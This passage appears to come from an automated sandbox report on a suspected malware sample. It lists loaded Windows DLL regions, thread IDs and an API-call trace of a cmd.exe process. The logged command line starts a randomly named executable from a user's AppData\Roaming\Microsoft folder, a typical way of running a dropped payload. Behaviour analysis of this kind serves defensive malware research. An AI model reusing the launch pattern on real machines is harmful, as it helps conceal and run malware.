"advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5460 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5461 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5462 start_va = 0x7ff9ecb00000 end_va = 0x7ff9ecb68fff entry_point = 0x7ff9ecb00000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5463 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5464 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5465 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5466 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5467 start_va = 0x7ff9ee6c0000 end_va = 0x7ff9ee6c7fff entry_point = 0x7ff9ee6c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5468 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5469 start_va = 0x7ff9ea7b0000 end_va = 0x7ff9ea7cefff entry_point = 0x7ff9ea7b0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 5470 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Thread: id = 171 os_tid = 0x78c Thread: id = 172 os_tid = 0x538 Thread: id = 173 os_tid = 0x780 Thread: id = 174 os_tid = 0x578 Thread: id = 175 os_tid = 0x490 Thread: id = 176 os_tid = 0x2ec Thread: id = 177 os_tid = 0x2f8 Thread: id = 178 os_tid = 0x2e4 Thread: id = 179 os_tid = 0x2d0 Thread: id = 180 os_tid = 0x494 Thread: id = 181 os_tid = 0x48c Thread: id = 276 os_tid = 0x6ec Thread: id = 277 os_tid = 0x3fc Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x71b6e000" os_pid = "0x2f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xab0" cmd_line = "cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5471 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5472 start_va = 0xc081180000 end_va = 0xc08119ffff entry_point = 0x0 region_type = private name = "private_0x000000c081180000" filename = "" Region: id = 5473 start_va = 0xc0811a0000 end_va = 0xc0811b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0811a0000" filename = "" Region: id = 5474 start_va = 0xc0811c0000 end_va = 0xc0812bffff entry_point = 0x0 region_type = private name = "private_0x000000c0811c0000" filename = "" Region: id = 5475 start_va = 0xc0812c0000 end_va = 0xc0812c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0812c0000" filename = "" Region: id = 5476 start_va = 0xc0812d0000 end_va = 0xc0812d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0812d0000" filename = "" Region: id = 5477 start_va = 0xc0812e0000 end_va = 0xc0812e1fff entry_point = 0x0 region_type = private name = "private_0x000000c0812e0000" filename = "" Region: id = 5478 start_va = 0x7df5ff480000 end_va = 0x7ff5ff47ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff480000" filename = "" Region: id = 5479 start_va = 0x7ff65ae10000 end_va = 0x7ff65ae32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65ae10000" filename = "" Region: id = 5480 start_va = 0x7ff65ae3c000 end_va = 0x7ff65ae3dfff entry_point = 0x0 region_type = private name = "private_0x00007ff65ae3c000" filename = "" Region: id = 5481 start_va = 0x7ff65ae3e000 end_va = 0x7ff65ae3efff entry_point = 0x0 region_type = private name = "private_0x00007ff65ae3e000" filename = "" Region: id = 5482 start_va = 0x7ff65bdd0000 end_va = 0x7ff65be28fff entry_point = 0x7ff65bdd0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 5483 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5484 start_va = 0xc081480000 end_va = 0xc08157ffff entry_point = 0x0 region_type = private name = "private_0x000000c081480000" filename = "" Region: id = 5485 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5486 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5559 start_va = 0xc081180000 end_va = 0xc08118ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c081180000" filename = "" Region: id = 5560 start_va = 0xc081190000 end_va = 0xc081196fff entry_point = 0x0 region_type = private name = "private_0x000000c081190000" filename = "" Region: id = 5561 start_va = 0xc0812f0000 end_va = 0xc0813adfff entry_point = 0xc0812f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5562 start_va = 0xc081580000 end_va = 0xc08167ffff entry_point = 0x0 region_type = private name = "private_0x000000c081580000" filename = "" Region: id = 5563 start_va = 0xc081830000 end_va = 0xc08183ffff entry_point = 0x0 region_type = private name = "private_0x000000c081830000" filename = "" Region: id = 5564 start_va = 0x7ff65ad10000 end_va = 0x7ff65ae0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65ad10000" filename = "" Region: id = 5565 start_va = 0x7ff65ae3a000 end_va = 0x7ff65ae3bfff entry_point = 0x0 region_type = private name = "private_0x00007ff65ae3a000" filename = "" Region: id = 5566 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5567 start_va = 0xc0813b0000 end_va = 0xc0813b6fff entry_point = 0x0 region_type = private name = "private_0x000000c0813b0000" filename = "" Thread: id = 182 os_tid = 0x470 [0155.659] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff65bdd0000 [0155.659] __set_app_type (_Type=0x1) [0155.659] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff65bde44a0) returned 0x0 [0155.659] __getmainargs (in: _Argc=0x7ff65bdff0e8, _Argv=0x7ff65bdff0f0, _Env=0x7ff65bdff0f8, _DoWildCard=0, _StartInfo=0x7ff65bdff104 | out: _Argc=0x7ff65bdff0e8, _Argv=0x7ff65bdff0f0, _Env=0x7ff65bdff0f8) returned 0 [0155.659] GetCurrentThreadId () returned 0x470 [0155.660] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x470) returned 0x6c [0155.660] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9ee250000 [0155.660] GetProcAddress (hModule=0x7ff9ee250000, lpProcName="SetThreadUILanguage") returned 0x7ff9ee26d550 [0155.660] SetThreadUILanguage (LangId=0x0) returned 0x409 [0155.661] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0155.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0812bfd58 | out: phkResult=0xc0812bfd58*=0x0) returned 0x2 [0155.661] VirtualQuery (in: lpAddress=0xc0812bfd44, lpBuffer=0xc0812bfcc0, dwLength=0x30 | out: lpBuffer=0xc0812bfcc0*(BaseAddress=0xc0812bf000, AllocationBase=0xc0811c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd000)) returned 0x30 [0155.661] VirtualQuery (in: lpAddress=0xc0811c0000, lpBuffer=0xc0812bfcc0, dwLength=0x30 | out: lpBuffer=0xc0812bfcc0*(BaseAddress=0xc0811c0000, AllocationBase=0xc0811c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xffffd000)) returned 0x30 [0155.661] VirtualQuery (in: lpAddress=0xc0811c1000, lpBuffer=0xc0812bfcc0, dwLength=0x30 | out: lpBuffer=0xc0812bfcc0*(BaseAddress=0xc0811c1000, AllocationBase=0xc0811c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0xffffd000)) returned 0x30 [0155.661] VirtualQuery (in: lpAddress=0xc0811c4000, lpBuffer=0xc0812bfcc0, dwLength=0x30 | out: lpBuffer=0xc0812bfcc0*(BaseAddress=0xc0811c4000, AllocationBase=0xc0811c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd000)) returned 0x30 [0155.661] VirtualQuery (in: lpAddress=0xc0812c0000, lpBuffer=0xc0812bfcc0, dwLength=0x30 | out: lpBuffer=0xc0812bfcc0*(BaseAddress=0xc0812c0000, AllocationBase=0xc0812c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0xffffd000)) returned 0x30 [0155.661] GetConsoleOutputCP () returned 0x1b5 [0155.662] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65be08640 | out: lpCPInfo=0x7ff65be08640) returned 1 [0155.662] SetConsoleCtrlHandler (HandlerRoutine=0x7ff65bdf15d0, Add=1) returned 1 [0155.662] _get_osfhandle (_FileHandle=1) returned 0x24 [0155.662] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x0) returned 1 [0155.662] _get_osfhandle (_FileHandle=1) returned 0x24 [0155.662] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff65be085ec | out: lpMode=0x7ff65be085ec) returned 1 [0155.662] _get_osfhandle (_FileHandle=1) returned 0x24 [0155.662] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x3) returned 1 [0155.663] _get_osfhandle (_FileHandle=0) returned 0x20 [0155.664] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff65be085e8 | out: lpMode=0x7ff65be085e8) returned 1 [0155.664] _get_osfhandle (_FileHandle=0) returned 0x20 [0155.664] SetConsoleMode (hConsoleHandle=0x20, dwMode=0x1e7) returned 1 [0155.664] GetEnvironmentStringsW () returned 0xc081485190* [0155.664] FreeEnvironmentStringsA (penv="A") returned 1 [0155.664] GetEnvironmentStringsW () returned 0xc081485190* [0155.664] FreeEnvironmentStringsA (penv="A") returned 1 [0155.664] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc0812bec08 | out: phkResult=0xc0812bec08*=0x78) returned 0x0 [0155.664] RegQueryValueExW (in: hKey=0x78, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x1, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x1, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x1, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x0, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x40, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x40, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x40, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegCloseKey (hKey=0x78) returned 0x0 [0155.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc0812bec08 | out: phkResult=0xc0812bec08*=0x78) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x40, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x1, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x1, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x0, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x9, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x4, lpData=0xc0812bec20*=0x9, lpcbData=0xc0812bec04*=0x4) returned 0x0 [0155.665] RegQueryValueExW (in: hKey=0x78, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc0812bec00, lpData=0xc0812bec20, lpcbData=0xc0812bec04*=0x1000 | out: lpType=0xc0812bec00*=0x0, lpData=0xc0812bec20*=0x9, lpcbData=0xc0812bec04*=0x1000) returned 0x2 [0155.665] RegCloseKey (hKey=0x78) returned 0x0 [0155.665] time (in: timer=0x0 | out: timer=0x0) returned 0x5a6ad097 [0155.665] srand (_Seed=0x5a6ad097) [0155.665] GetCommandLineW () returned="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0155.665] GetCommandLineW () returned="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0155.665] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff65be10920 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0155.665] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc0814851a0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0155.665] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0155.665] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0155.665] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0155.665] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0155.665] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0155.665] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0155.665] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0155.665] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0155.665] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0155.665] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0155.665] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0155.665] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0155.666] GetEnvironmentStringsW () returned 0xc0814853b0* [0155.666] FreeEnvironmentStringsA (penv="A") returned 1 [0155.666] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0155.666] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0155.666] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0155.666] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0155.666] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0155.666] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0155.666] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0155.666] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0155.666] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0155.666] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0155.666] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xc0812bfa10 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0155.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0xc0812bfa10, lpFilePart=0xc0812bf9f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0xc0812bf9f0*="system32") returned 0x13 [0155.666] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0155.666] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0xc0812bf720 | out: lpFindFileData=0xc0812bf720) returned 0xc081480720 [0155.667] FindClose (in: hFindFile=0xc081480720 | out: hFindFile=0xc081480720) returned 1 [0155.667] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xc0812bf720 | out: lpFindFileData=0xc0812bf720) returned 0xc081480720 [0155.667] FindClose (in: hFindFile=0xc081480720 | out: hFindFile=0xc081480720) returned 1 [0155.667] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0155.667] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0155.667] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0155.667] GetEnvironmentStringsW () returned 0xc081486ff0* [0155.667] FreeEnvironmentStringsA (penv="=") returned 1 [0155.667] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff65be10920 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0155.667] GetConsoleOutputCP () returned 0x1b5 [0155.668] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65be08640 | out: lpCPInfo=0x7ff65be08640) returned 1 [0155.668] GetUserDefaultLCID () returned 0x409 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65be0c680, cchData=8 | out: lpLCData=":") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc0812bfb40, cchData=128 | out: lpLCData="0") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc0812bfb40, cchData=128 | out: lpLCData="0") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc0812bfb40, cchData=128 | out: lpLCData="1") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65be0c690, cchData=8 | out: lpLCData="/") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff65be0c6e0, cchData=32 | out: lpLCData="Mon") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65be0c720, cchData=32 | out: lpLCData="Tue") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65be0c760, cchData=32 | out: lpLCData="Wed") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65be0c7a0, cchData=32 | out: lpLCData="Thu") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65be0c7e0, cchData=32 | out: lpLCData="Fri") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65be0c820, cchData=32 | out: lpLCData="Sat") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65be0c860, cchData=32 | out: lpLCData="Sun") returned 4 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65be0c6a0, cchData=8 | out: lpLCData=".") returned 2 [0155.668] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65be0c6c0, cchData=8 | out: lpLCData=",") returned 2 [0155.668] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0155.669] GetConsoleTitleW (in: lpConsoleTitle=0xc081485e20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0155.669] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9ee250000 [0155.669] GetProcAddress (hModule=0x7ff9ee250000, lpProcName="CopyFileExW") returned 0x7ff9ee2725e0 [0155.669] GetProcAddress (hModule=0x7ff9ee250000, lpProcName="IsDebuggerPresent") returned 0x7ff9ee271f90 [0155.669] GetProcAddress (hModule=0x7ff9ee250000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9ebcb3a10 [0155.670] _wcsicmp (_String1="start", _String2=")") returned 74 [0155.670] _wcsicmp (_String1="FOR", _String2="start") returned -13 [0155.670] _wcsicmp (_String1="FOR/?", _String2="start") returned -13 [0155.670] _wcsicmp (_String1="IF", _String2="start") returned -10 [0155.670] _wcsicmp (_String1="IF/?", _String2="start") returned -10 [0155.670] _wcsicmp (_String1="REM", _String2="start") returned -1 [0155.670] _wcsicmp (_String1="REM/?", _String2="start") returned -1 [0155.671] GetConsoleTitleW (in: lpConsoleTitle=0xc0812bfa30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0155.671] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0155.671] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0155.671] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0155.671] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0155.671] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0155.671] _wcsicmp (_String1="start", _String2="CD") returned 16 [0155.671] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0155.671] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0155.671] _wcsicmp (_String1="start", _String2="REN") returned 1 [0155.671] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0155.671] _wcsicmp (_String1="start", _String2="SET") returned 15 [0155.671] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0155.671] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0155.671] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0155.671] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0155.671] _wcsicmp (_String1="start", _String2="MD") returned 6 [0155.671] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0155.671] _wcsicmp (_String1="start", _String2="RD") returned 1 [0155.672] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0155.672] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0155.672] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0155.672] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0155.672] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0155.672] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0155.672] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0155.672] _wcsicmp (_String1="start", _String2="VER") returned -3 [0155.672] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0155.672] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0155.672] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0155.672] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0155.672] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0155.672] _wcsicmp (_String1="start", _String2="START") returned 0 [0155.674] GetStdHandle (nStdHandle=0xfffffff6) returned 0x20 [0155.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24 [0155.674] GetStdHandle (nStdHandle=0xfffffff4) returned 0x28 